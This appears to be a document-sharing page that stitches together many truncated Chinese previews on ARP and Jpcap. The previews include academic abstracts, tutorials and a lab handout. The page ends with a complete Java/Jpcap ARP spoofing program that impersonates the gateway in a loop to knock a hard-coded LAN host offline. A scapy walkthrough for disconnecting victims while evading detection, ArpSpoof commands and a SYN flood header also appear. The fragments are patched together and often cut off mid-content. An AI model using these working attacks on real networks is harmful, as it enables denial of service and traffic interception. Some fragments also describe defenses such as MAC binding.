基于Jpcap的ARP攻击源代码
jpcap+API 使用
贵州大学
2002级硕士研究生学年报告
基于JPcap的网络流量分析
研究与应用
学科专业计算机软件与理论
研究方向计算机软件
导师李祥教授
研究生赵新辉
中国•贵州•贵阳
2003 年6 月
目录
摘要
第一章网络数据包捕获工具Jpcap
1.1 Jpcap简介
1.2Jpcap需求环境
1.3Jpcap的安装
1.4Jpcap类库的结构
第二章Jpcap类库的分析与应用
2.1 使用JpcapHandler接口
2.2 使用DatalinkPacket类
2.3 使用EthernetPacket类
2.4 使用IPAddress类
2.5 使用IPv6Option类
2.6 使用Jpcap类
2.7 使用Jpcap.JpcapInfo类
2.8 使用JpcapSender类
2.9 使用JpcapWriter类
2.10 使用Packet类
2.11 使用ARPPacket类
2.12 使用IPPacket类
2.13 使用ICMPPacket类
2.14 使用TCPPacket类
2.15 使用UDPPacket类
第三章Jpcap在流量分析中的应用
3.1 流量分析的研究概况
3.1.1 流量分析概况
3.1.2 国内研究状况
3.1.3 网络流量自相似分析
3.2 利用Jpcap实现网络流量图示分析
3.3 利用Jpcap实现网络Ethereal工具
参考文献
摘要
论文从JPcap的产生、发展到目前的最新版本,针对Jpcap 0.4版本,对类库中一个类做了必要的分析说明,列出了每个类的继承关系、数据成员、构造函数和成员函数,并对其的功能做了简要地说明。针对类的功能,为每个类设计了一个Java程序,用实例说明该类的使用方法。最后使用Jpcap类库设计了一个程序,实现了对局域网内用户上网的口令密码的监听,并做了实际的测试。
网络攻防原理与技术源代码
/*===================================================
* 基于winpcap的多线程SYN Flood攻击源代码
* 运行平台:WinXP,Win2k3,WinVista,Win2k8,Win7
* 编译环境:VC6.0 + winpcap SDK
*====================================================*/
#define WIN32_LEAN_AND_MEAN
#define _WSPIAPI_COUNTOF
#include
#include
#include
#include
#include
#include
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib, "packet.lib")
#define MAXTHREAD 20
#define OID_802_3_CURRENT_ADDRESS 0x01010102
#define OPTION_LENTH 6
#define SYN_DEST_IP "192.168.0.22" // 被攻击的IP
#define SYN_DEST_PORT 80 // 被攻击的PORT #define FAKE_IP "192.168.0.11" // 伪装的IP
#define FAKE_MAC "\xB8\xAC\x6F\x1F\x26\xF6" // 伪装的MAC
ARP攻击和实现原理解析
ARP攻击和实现原理解析
作者:季永炜
来源:《电脑知识与技术》2012年第05期
摘要:ARP是Address Resolution Protocol(地址转换协议)的简称,是TCP/IP协议中网络层中的协议之一。它的作用是完成IP地址和MAC(物理地址)间的地址转换。
关键词:
中图分类号:TP393文献标识码:A文章编号:1009-3044(2012)05-1019-03
1 ARP概述
ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的网络层协议,对应于ISO七层协议的数据链路层,负责将IP地址进行解析,转换成对应的MAC地址。ARP协议的主要功能就是通过目标设备的IP地址,以缓存表和广播的形式查询目标设备的MAC地址,以保证通信的进行。
2 ARP与ARP缓存表
在以太网协议中规定,局域网中的主机进行通信时,必须知道目标主机的以太网地址(MAC地址),而在TCP/IP协议中,网络层和传输层只关心IP地址,数据链路层并不能识别IP地址,通过MAC地址来传输数据包。因此,IP数据包在局域网内部传输时通过识别主机的MAC地址进行转发的。这就需要一种方法,可以根据主机的IP地址来获取其MAC地址,二者之间存在一种对应关系,这就需要ARP协议了。
ARP协议就是所谓的地址解析协议,主要是进行目标IP地址和目标MAC地址的转换。具体的说,当ARP工作时,首先请求主机会发送一个以太网数据包,数据包中含有目标主机的IP地址,然后目标主机接收到数据包后,会进行解析,获得数据包中的IP地址,并用包含IP地址和MAC地址对应关系的数据包来应答。因此,请求主机就获得了目标主机的MAC地址,并保存在ARP缓存表中。缓存表的管理采用了高效的老化机制,增加新的内容的同时,会删除使用少的数据,这样可以在不增加缓存表长度的同时加快查询速度。
ARP欺骗攻击程序
ARP欺骗攻击程序
1.#include<stdio.h>
2.#include<stdlib.h>
3.#include<arpa/inet.h>
4.#include<string.h>
5.#include<linux/if_ether.h>
6.#include<list.h>
7.#include<libnet.h>
8.#include<linux/netlink.h>
9.#include<linux/rtnetlink.h>
10.#include<sys/socket.h>
11.#include<errno.h>
12.#include<sys/time.h>
13.#include<sys/ioctl.h>
14.#include<getopt.h>
15.#include<pthread.h>
16.#include<net/if.h>
17.#include<netinet/ether.h>
18.#include<netpacket/packet.h>
19.
20.#ifdef DEBUG
21.#define DEBUGP(format,args...)fprintf(stdout,format, ##args)
22.#else
23.#define DEBUGP(format,args...)
基于Jpcap的数据包捕获器的设计与实现
基于Jpcap的数据包捕获器的设计与实现
翟光群,胡贵江
(郑州大学信息工程学院 郑州 450001)
摘要:本文研究了以太网数据包的捕获机制,实现了基于JPcap的网络数据包捕获工具,其基本原理是通过调用Jpcap库捕获本地网络上的所有数据包,然后对数据包进行协议解码,从而可以实时地监视网络的运行情况。局域网使用结果表明此工具稳定,效果较好。
关键词:Jpcap;协议分析;数据包捕获;混杂模式
中图分类号:TP393.08文献标识码: B
Development and implementation of packet sniffer based on Jpcap
Zhai Guang-qun,Hu Gui-jiang
(Information Engineering School of Zheng Zhou University zhengzhou 450001)Abstract:Packet capture mechanism is introduced in this paper, and then the development and implement of network packet capture based on Jpcap is discussed, The fundamental principle of this system is to monitor the network on real-time through performing protocol analyzing and decoding on the packets captured from the local network using JPcap library.The result from the application in LAN also confirms that the system is steady and very effective.
Python实现ARP攻击
Python实现ARP攻击
⽬录
概述
⾼中的时候,学校有⼀个商店,会放开WIFI给偷偷带⼿机去学校的我们使⽤,但是因为⼈很多的关系,导致每次去下载东西都很慢
那时候,通过百度,知道了WIFI KILLER这样⼀款软件,可以让别⼈上不了⽹,不过随着各⼤⼚商对系统的升级之后,这个软件就失效了,尤其是这个软件需要root权限,这个在现在多数⼿机来说已经不可能了。
需要权限的原因就是需要发送原始套接字,但是这个套接字如果交给⽤户来发的话,太危险了,很容易扰乱底层的协议规则,这就导致必须要⼀定权限才能发送原始套接字(Windows好像不⽤)
ARP协议
IP转MAC
ARP 协议是⽤来从从IP地址查询MAC地址的,所以,⼀次数据传输可能有这样⼀个ARP沟通过程
⽐如,这⾥我⽤我笔记本(192.168.2.2) Ping了⼀下我的⼿机(192.168.2.5) ,那么数据包就需要知道被发送到那个MAC地址,
我的电脑⼤声问(⼴播): 谁是 192.168.2.5?请告诉 192.168.2.2
然后我的⼿机看到了,就回复我的电脑: 192.168.2.5就是20:f4:78:e6:36:41
然后接下来,数据包就可以发送⼤MAC地址是20:f4:78:e6:36:41的⽹卡上了
今天我才发现,我平时⾼冷的不得了的磊科NW737其实和他的⼩伙伴们沟通的热⽕朝天~~
____底层协议居然如此热闹
结构
来⾃ wiki 百科
ARP扫描
通过wireShark可以发现,如果我想知道这个局域⽹中有多少主机,或者想要局域⽹中所有主机的列表,那么我完全可以发送ARP请求包,对每个IP都询问⼀下MAC地址,有回应的,就是存活的主机。
用JAVA代码实现ARP攻击
⽤JAVA代码实现ARP攻击ARP攻击原理
⼀台电脑通过⽹络访问另⼀台电脑的时候,在数据链路层需要知道对⽅的MAC地址进⾏真正的物理通信.
⽽电脑上的应⽤程序通常都是根据另⼀台电脑的IP地址来和对⽅建⽴通信,这时候就需要有⼀个协议将
IP地址解析到MAC地址,这就是ARP协议.
⽽ARP具体过程就是当需要通过IP获取⼀个远端的的MAC地址的时候,系统会⾸先检查ARP表中
是否存在对应的IP地址,如果没有,则发送⼀个ARP⼴播,当某⼀个拥有这个MAC地址的节点
收到ARP请求的时候,会创建⼀个ARP reply包,并发送到ARP请求的源节点,
ARP Reply包中就包含了⽬的地节点的MAC地址,在源节点接受到这个reply后,
会将⽬的地节点的MAC地址保存在ARP缓存表中,下⼀次再次请求同⼀ IP地址的时候,
系统将会从ARP表中直接获取⽬的地MAC地址,⽽不需要再次发送ARP⼴播。
⽤ping命令举例来说, 在机器A,⽐如说IP是192.168.1.2中发出下⾯的ping命令:
ping 192.168.1.3,如果192.168.1.3这个MAC地址在机器A的ARP缓存表中不存在,这时候
机器A就会发送⼀个ARP⼴播,当192.168.1.3接到⼴播后,会给机器A回⼀个
ARP Reply包,其中包含了192.168.1.3的MAC地址,这是正常的ARP过程.
假设IP--MAC的对应关系为(192.168.1.3--00-1C-23-2E-A7-0E)
但是局域⽹内的其他机器也可向机器A发⼀个假的IP--MAC对应关系ARP Reply包,
具有局域网扫描功能的ARP攻击模型的实现
具有局域网扫描功能的ARP攻击模型的实现
李华峰;陈虹
【摘要】针对当前各个单位局域网内频繁发作的地址解析协议(ARP)攻击,在分析
了网络通信协议中安全漏洞的基础上,详细阐述了ARP攻击的原理.并且在此基础上,设计了一个具有局域网MAC地址扫描功能的ARP欺骗模型.通过JAVA语言对该模型加以实现.并提出了针对这种攻击的解决方式.
【期刊名称】《唐山师范学院学报》
【年(卷),期】2011(033)002
【总页数】3页(P58-59,70)
【关键词】ARP;攻击;多线程;局域网;安全漏洞
【作者】李华峰;陈虹
【作者单位】唐山师范学院,计算机系,河北唐山,063000;河北广电网络集团唐山子
公司,河北唐山063000
【正文语种】中文
【中图分类】TP309.5
随着我国经济的不断发展,网络的普及化程度也越来越快。但是由于网络通信协议本身的不完善性,ARP攻击频繁的出现在各个单位的局域网中。ARP攻击原理是
通过伪造IP地址和MAC地址的对应关系来实现的,本身利用了ARP协议的漏洞。由于导致了IP和MAC的错误对应,会破坏计算机和交换路由器的ARP路由表。
从而导致计算机不能正常联网,严重时可以窃取内网用户的信息,从而给用户造成了巨大的损失。
1 地址解析协议(ARP)
网络通信协议中,为了能够在局域网中实现快速的通信,在网络中的每一台计算机和交换路由器中都会有一段缓存专门用来保存局域网内的 ARP信息。以此来实现MAC地址和ARP地址的相互对应。ARP协议规定一个ARP数据包的格式应当包含以下信息:目的地址,源地址,帧类型,硬件类型,协议类型,硬件地址长度,协议地址长度,包类型,发送端MAC,发送端IP,目的MAC,目的IP。[1]
scapy实现ARP攻击
scapy实现ARP攻击
(作者:Byll)
想要让和你在同一个局域网中的人上不了网吗?想不被360等防火墙拦截下来攻击吗?让我们一起来学习一下如何使用scapy来进行ARP攻击!假设你已经成功安装scapy(windows 或linux系统可能有个别地方不同).
Step.1调用scapy
启动python的命令行之后,输入from scapy.all import *
Step.2 构造一个包(假设包的名称为“p”)
先介绍两个函数:1.ls(p)查看p的状态2.lsc()查看课调用的函数。
首先写p=Ether()/ARP()。
其实我们要做到就是把p的各个细节给完善了,主要要修改的属性有以下4个(输入ls(p)查看)
其中前两个不需要改动(分别表示发送的目的地(网关)和发送地(本机)的mac地址)若想攻击的目标ip为‘10.1.151.136’,则需要进行以下操作:p.psrc='10.1.151.251',p.hwsrc='aa:aa:aa:aa:aa:aa'(可随意伪造,如果不想被查到的话就不要写自己真实的mac),p.hwdst=' '(目标的网关的mac)(可用arping('10.1.151.1/24')查询,得到所在局域网内所有可用的ip与mac的对应关系),p.pdst='10.1.151.1'(目标的网关的ip)。
Step.3
输入while 1:sendp(p,inter=0.002,count=10000)(发包间隔时间为0.002秒,一共发送10000个包)。
现在,被攻击者就处于断网的状态啦,及时开了360等也可能完全没用啊!
arp 协议详解 攻击原理 简单攻击源码
arp 协议详解攻击原理简单攻击源码.txt7温暖是飘飘洒洒的春雨;温暖是写在脸上的笑影;温暖是义无反顾的响应;温暖是一丝不苟的配合。8尊重是一缕春风,一泓清泉,一颗给人温暖的舒心丸,一剂催人奋进的强心剂一.关于ARP协议的基础知识
1.ARP的工作原理
我们都知道以太网设备比如网卡都有自己全球唯一的MAC地址,它们是以MAC地址来传输以太网数据包的,但是它们却识别不了我们IP包中的IP地址,所以我们在以太网中进行IP 通信的时候就需要一个协议来建立IP地址与MAC地址的对应关系,以使IP数据包能发到一个确定的地方去。这就是ARP(Address Resolution Protocol,地址解析协议)。
讲到此处,我们可以在命令行窗口中,输入
arp –a
来看一下效果,类似于这样的条目
210.118.45.100 00-0b-5f-e6-c5-d7 dynamic
就是我们电脑里存储的关于IP地址与MAC地址的对应关系,dynamic表示是临时存储在ARP 缓存中的条目,过一段时间就会超时被删除(xp/2003系统是2分钟)。
这样一来,比如我们的电脑要和一台机器比如210.118.45.1通信的时候,它会首先去检查arp缓存,查找是否有对应的arp条目,如果没有,它就会给这个以太网络发ARP请求包广播询问210.118.45.1的对应MAC地址,当然,网络中每台电脑都会收到这个请求包,但是它们发现210.118.45.1并非自己,就不会做出相应,而210.118.45.1就会给我们的电脑回复一个ARP应答包,告诉我们它的MAC地址是xx-xx-xx-xx-xx-xx,于是我们电脑的ARP缓存就会相应刷新,多了这么一条:
arp攻击(arp攻击解决办法)
arp攻击(arp攻击解决办法)
如果你发现经常网络掉线,或者发现自己的网站所有页面都被挂马,但到服务器上,查看页面源代码,却找不到挂马代码,就要考虑到是否自己机器或者同一IP段中其他机器是否中了ARP病毒。除了装ARP防火墙以外,还可以通过绑定网关的IP和MAC来预防一下。
如果你发现经常网络掉线,或者发现自己的网站所有页面都被挂马,但到服务器上,查看页面源代码,却找不到挂马代码,就要考虑到是否自己机器或者同一IP段中其他机器是否中了ARP病毒。除了装ARP防火墙以外,还可以通过绑定网关的IP和MAC来预防一下。这个方法在局域网中比较适用:你所在的局域网里面有一台机器中了ARP病毒,它伪装成网关,你上网就会通过那台中毒的机器,然后它过一会儿掉一次线来骗取别的机器的帐户密码什么的东西。
下面是手动处理方法的简要说明:
如何检查和处理“ ARP 欺骗”木马的方法
1.检查本机的“ ARP 欺骗”木马染毒进程
同时按住键盘上的“ CTRL ”和“ ALT ”键再按“ DEL ”键,选择“任务管理器”,点选“进程”标签。察看其中是否有一个名为“ MIR0.dat ”的进程。如果有,则说明已经中毒。右键点击此进程后选择“结束进程”。
2.检查网内感染“ ARP 欺骗”木马染毒的计算机
在“开始” - “程序” - “附件”菜单下调出“命令提示符”。输入并执行以下命令:ipconfig
记录网关IP 地址,即“Default Gateway ”对应的值,例如“ 59.66.36.1 ”。再输入并执行以下命令:
ARP攻击的实现和分析
ARP攻击的实现和分析
首先,我们来看一下ARP攻击的原理。ARP协议用于将IP地址转换为MAC地址,以便在网络中进行通信。在正常情况下,当一个设备需要与网络中的另一个设备通信时,它会向网络中广播一个ARP请求,询问目标设备的MAC地址。目标设备收到此请求后,会向发送设备回复一个ARP应答,其中包含了自己的MAC地址。发送设备收到ARP应答后,会将目标设备的IP地址与其MAC地址绑定,并将此绑定关系存储在本地的ARP缓存中。
而ARP攻击则是通过伪造ARP请求和应答来欺骗网络设备,使其将通信的目标设备与攻击者的MAC地址绑定。一旦攻击成功,攻击者就可以中间截取通信数据、劫持通信流量,甚至进行数据篡改和监听等恶意行为。
下面是ARP攻击的实现和分析,包括攻击步骤和攻击效果:
1.攻击步骤:
(1) 攻击者使用ARP欺骗工具伪造一个ARP请求或应答。这个欺骗工具常用的有arpspoof、ettercap等。
(2)攻击者向网络中广播ARP请求,询问目标设备的MAC地址。这个ARP请求的发送IP地址通常为攻击者自己的IP地址。
(3)目标设备收到ARP请求后,会将其ARP缓存中与该IP地址相对应的MAC地址更新为ARP请求中的MAC地址。
(4)攻击者收到目标设备的ARP应答后,将其中的目标设备的IP地址与自己的MAC地址绑定,并将这个欺骗的ARP应答发送给源设备。
(5)源设备接收到欺骗的ARP应答后,将目标设备的IP地址与攻击者的MAC地址绑定。
2.攻击效果:
(1)中间人攻击:攻击者成功伪造了ARP请求和应答后,就可以将通信的目标设备与自己的MAC地址绑定。这样,攻击者就成为了通信的中间人,可以截取通信数据、修改通信内容或进行流量劫持。
ARP攻击与防御实例
ARP攻击与防御实例
ARP是一种工作在网络层的三层协议,作用是将IP地址解析成MAC地址。ARP 攻击作为一种流行的攻击方式,可以用来欺骗、挂马等等。下面将通过实例来演示一下基于ARP的攻击与防御。
用到的工具:ArpSpoof.exe
网络拓扑图:
说明:网络环境中有两台计算机,网络配置如上图。现在用PC1攻击PC2,来演示ARP攻击。在攻击开始前,先来看下PC2的网络配置情况,从下图中可以看到现在网络是正常的,可以正常连接到外网
攻击过程:
1.首先在PC1上安装ArpSpoof,把ArpSpoof压缩包解压到某一目录下,运行-->“cmd”,打开命令提示符窗口,切换到ArpSpoof.exe所在目录,执行ArpSpoof /i,安装驱动程序。
2.现在开始对PC2发起ARP攻击,执行命令:arpSpoof 192.168.0.200 192.168.0.1 0 2,开始ARP攻击:如下图:
3.现在再来PC2上ping一下网关,发现ping不通了,再来查看下IP-MAC地址映射表,执行arp -a,结果如下图
总结:通过演示结果,可以确定PC1对PC2的ARP攻击是有效。
ARP防御:
上面简单演示了一下ARP的攻击,那怎样防御这种攻击呢?可以安装ARP防火墙,这类产品有很多,但防御效果貌似不怎么样,呵呵!也可以写个批处理把IP地址和MAC绑定。过程如下:先新建一个文本文档,输入如下命令:
arp -s 192.168.0.1 00-26-5A-AA-8C-BA
arp -s 192.168.0.200 00-0C-29-DE-49-F4
0219_基于Jpcap的TCPIP数据包分析
基于Jpcap的TCP/IP数据包分析
2001 赵新辉
目录
第一章以太网的结构和TCP/IP
1.1 以太网的结构
1.1.1 基于网络架构的以太网
1.1.2 以太网的数据交换
1.1.3 以太网帧的结构
1.2 IP数据报的构成
1.2.1 IP地址
1.2.2 路由
1.2.3 IP数据报的构成
1.2.4 其他报文结构
1.3 TCP/UDP
1.3.1 TCP/UDP的作用
1.3.2 TCP和UDP报文的结构
第二章Jpcap类库
2.1 Jpcap的使用
2.1.1 Jpcap的运行环境的安装
2.1.2 Jpcap的开发环境的安装
2.2 Jpcap介绍
2.2.1 Packet基类及其子类
2.2.2 Jpcap的主要功能
第三章数据包监听程序的设计
3.1 数据包监听原理
3.2 以太网帧的解析
3.2.1 获取MAC地址
3.2.2 数据包类型的判断
3.3 IP数据报的监听
3.3.1 IP数据报的解析
3.3.2 ARP和ICMP数据报解析
3.4 TCP和UDP监听
3.4.1 TCP数据报的解析
3.4.2 UDP数据报的解析
第四章数据包分析
4.1 流量分析
4.1.1 数据包大小的表示
4.1.2 数据包流量观测
4.2 数据包分类分析
4.2.1 数据包过滤
4.2.2 利用数据包分析解决网络问题第五章数据包发送
5.1 构造发送IP数据包
5.1.1 IP数据包构造与发送
5.1.2 发送结果分析
5.2 构造发送TCP数据包
5.2.1 TCP数据包构造与发送
5.2.2 发送结果分析
第一章以太网的结构和TCP/IP
1.1 以太网的结构
ARP探测C语言实现
ARP探测C语言实现
ARP(Address Resolution Protocol,地址解析协议)是用于将IP 地址转换为物理地址(MAC地址)的协议。在网络中,ARP请求和应答消息的交互可以帮助主机发现目标主机的物理地址。下面是一个基于C语言的简单ARP探测实现。
ARP请求阶段:
1.创建原始套接字,用于发送和接收网络数据包。
```c
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0)
perror("Failed to create socket.");
return -1;
```
2.设置套接字选项,允许发送与接收IP首部。
```c
if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable)) < 0)
perror("Failed to set socket options.");
return -1;
}
```
3.设置目标主机的IP地址。
```c
struct in_addr dest_ip;
if (inet_aton(target_ip, &dest_ip) == 0)
printf("Invalid IP address specified.");
return -1;
```
4.构造ARP请求包。
```c
struct arphdr arp_header;
memset(&arp_header, 0, sizeof(arp_header));
实验六 局域网ARP攻击的编程实现
ARP包解析与ARP欺骗攻击
得分:
u_char ar_hln; //硬件地址长度
u_char ar_pln; //协议地址长度
u_short ar_op; //操作
u_char arp_smac[6]; //发送端以太网地址
u_char arp_sip[4]; //发送端IP
u_char arp_dmac[6]; //目的端以太网地址
u_char arp_dip[4]; //目的IP
}ether_arp;
pcap_t *adhandle;
void open_dev();
void arp_init(ether_header* e_head,ether_arp* e_arp);
void mk_arp_packt(u_char packet[],ether_header* e_head,ether_arp* e_arp);
u_short byte_swap(u_short i);
void main()
{
ether_arp* e_arp=(ether_arp*)malloc(sizeof(ether_arp));
ether_header* e_head=(ether_header*)malloc(sizeof(ether_header));
u_char packet[100];
open_dev();//先打开网卡
arp_init(e_head,e_arp);//输入目的主机的相关信息
mk_arp_packt(packet,e_head,e_arp);//伪造Arp数据包
while(true)
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
下面这段代码是将局域网内另外一台主机断网。
原理:伪造一个ARP应答包,这个ARP包源IP地址设置为网关IP地址,源MAC地址设置为一个不存在的MAC地址(以太网内是根据MAC地址来找网关、主机的),目的IP地址、MAC地址则设置为目标主机的IP地址和MAC地址。然后将这个包按周期发送给目标主机,根据ARP协议,目标主机收到这个伪造的ARP应答包后,其ARP缓存会被更改,其缓存内网关地址对应的MAC地址变为前面设置的不存在的MAC地址。这样,当目标主机向外发送数据包的时候,就会因为找不到正确的网关而无法向局域网内发送数据,从而达到断网效果。
【运行此代码需要安装jpcap,版本为0.7,此外还需安装winpcap或lipcap】
JAVA代码:(代码仅供学习研究,切勿用于不良用途。)
package com.arpattack;
import java.io.IOException;
import .InetAddress;
import java.util.Arrays;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import workInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.Packet;
/**
* 基于Jpcap的ARP攻击程序范例
* @author 陈祖煌
* @version 1.0
*/
public class ARPAttack {
/**
* 本地主机的0号网络设备,根据具体实际情况对参数0进行修改
*/
public static NetworkInterface device = JpcapCaptor.getDeviceList()[0];
/**
* 通过发送ARP请求包来获取某一IP地址主机的MAC地址。
* @param ip //未知MAC地址主机的IP地址
* @return //已知IP地址的MAC地址
* @throws IOException
*/
public static byte[] getOtherMAC(String ip) throws IOException{
JpcapCaptor jc = JpcapCaptor.openDevice(device,2000,false,3000); //打开网络设备,用来侦听
JpcapSender sender = jc.getJpcapSenderInstance(); //发送器JpcapSender,用来发送报文
InetAddress senderIP = InetAddress.getByName("10.96.33.232"); //设置本地主机的IP地址,方便接收对方返回的报文
InetAddress targetIP = InetAddress.getByName(ip); //目标主机的IP地址
ARPPacket arp=new ARPPacket(); //开始构造一个ARP包
arp.hardtype=ARPPacket.HARDTYPE_ETHER; //硬件类型
arp.prototype=ARPPacket.PROTOTYPE_IP; //协议类型
arp.operation=ARPPacket.ARP_REQUEST; //指明是ARP请求包
arp.hlen=6; //物理地址长度
arp.plen=4; //协议地址长度
arp.sender_hardaddr=device.mac_address; //ARP包的发送端以太网地址,在这里即本地主机地址
arp.sender_protoaddr=senderIP.getAddress(); //发送端IP地址, 在这里即本地IP地址
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255}; //广播地址
arp.target_hardaddr=broadcast; //设置目的端的以太网地址为广播地址
arp.target_protoaddr=targetIP.getAddress(); //目的端IP地址
//构造以太帧首部
EthernetPacket ether=new EthernetPacket();
ether.frametype=E
thernetPacket.ETHERTYPE_ARP; //帧类型
ether.src_mac=device.mac_address; //源MAC地址
ether.dst_mac=broadcast; //以太网目的地址,广播地址
arp.datalink=ether; //将arp报文的数据链路层的帧设置为刚刚构造的以太帧赋给
sender.sendPacket(arp); //发送ARP报文
while(true){ //获取ARP回复包,从中提取出目的主机的MAC地址,如果返回的是网关地址,表明目的IP不是局域网内的地址
Packet packet = jc.getPacket();
if(packet instanceof ARPPacket){
ARPPacket p=(ARPPacket)packet;
if(p==null){
throw new IllegalArgumentException(targetIP+" is not a local address"); //这种情况也属于目的主机不是本地地址
}
if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){
System.out.println("get mac ok");
return p.sender_hardaddr; //返回
}
}
}
}
/**
* 将字符串形式的MAC地址转换成存放在byte数组内的MAC地址
* @param str 字符串形式的MAC地址,如:AA-AA-AA-AA-AA
* @return 保存在byte数组内的MAC地址
*/
public static byte[] stomac(String str) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] temp = str.split("-");
for (int x = 0; x < temp.length; x++) {
mac[x] = (byte) ((Integer.parseInt(temp[x], 16)) & 0xff);
}
return mac;
}
/**
* 执行ARP断网攻击。原理是:冒充网关发送出来的ARP应答包,令接收端更改其ARP缓存表,修改网关IP地址对应的MAC地址,从而令数据无法正常通过网关发出。
* @param ip
* @param time
* @throws InterruptedException
* @throws IOException
*/
public static void ARPAttack(String ip, int time) throws InterruptedException, IOException{
JpcapCaptor jpcap = JpcapCaptor.openDevice(device, 65535, false, 3000);
jpcap.setFilter("arp", true);
JpcapSender sender = JpcapSender.openDevice(device);
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;//硬件类型
arp.prototype = ARPPacket.PROTOTYPE_IP; //协议类型
arp.operation = ARPPacket.ARP_REPLY; //指明是ARP应答包包
arp.hlen = 6;
arp.plen = 4;
byte[] srcmac = stomac("00-0D-2B-2E-B1-0A"); // 伪装的MAC地址,这里乱写就行,不过要符合格式、十六进制
arp.sender_hardaddr = srcmac;
arp.sender_protoaddr = InetAddress.getByName("10.96.0.1").getAddress();
arp.target_hardaddr=getOtherMAC(ip);
arp.target_protoaddr=InetAddress.getByName(ip).getAddress();
//设置数据链路层的帧
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac= srcmac; //停止攻击一段时间后,目标主机会自动恢复网络。若要主动恢复,这里可用getOtherMAC("10.96.0.1");
ether.dst_mac=getOtherMAC(ip);
arp.datalink=ether;
// 发送ARP应答包 。因为一般主机会间隔一定时间发送ARP请求包询问网关地址,所以这里需要设置一个攻击周期。
while (true) {
System.out.println
("sending ARP..");
sender.sendPacket(arp);
Thread.sleep(time);
}
}
/**
* 程序入口
* @param args
* @throws IOException
* @throws InterruptedException
*/
public static void main(String[] args) throws InterruptedException, IOException {
ARPAttack("10.96.81.56", 2000);
}
}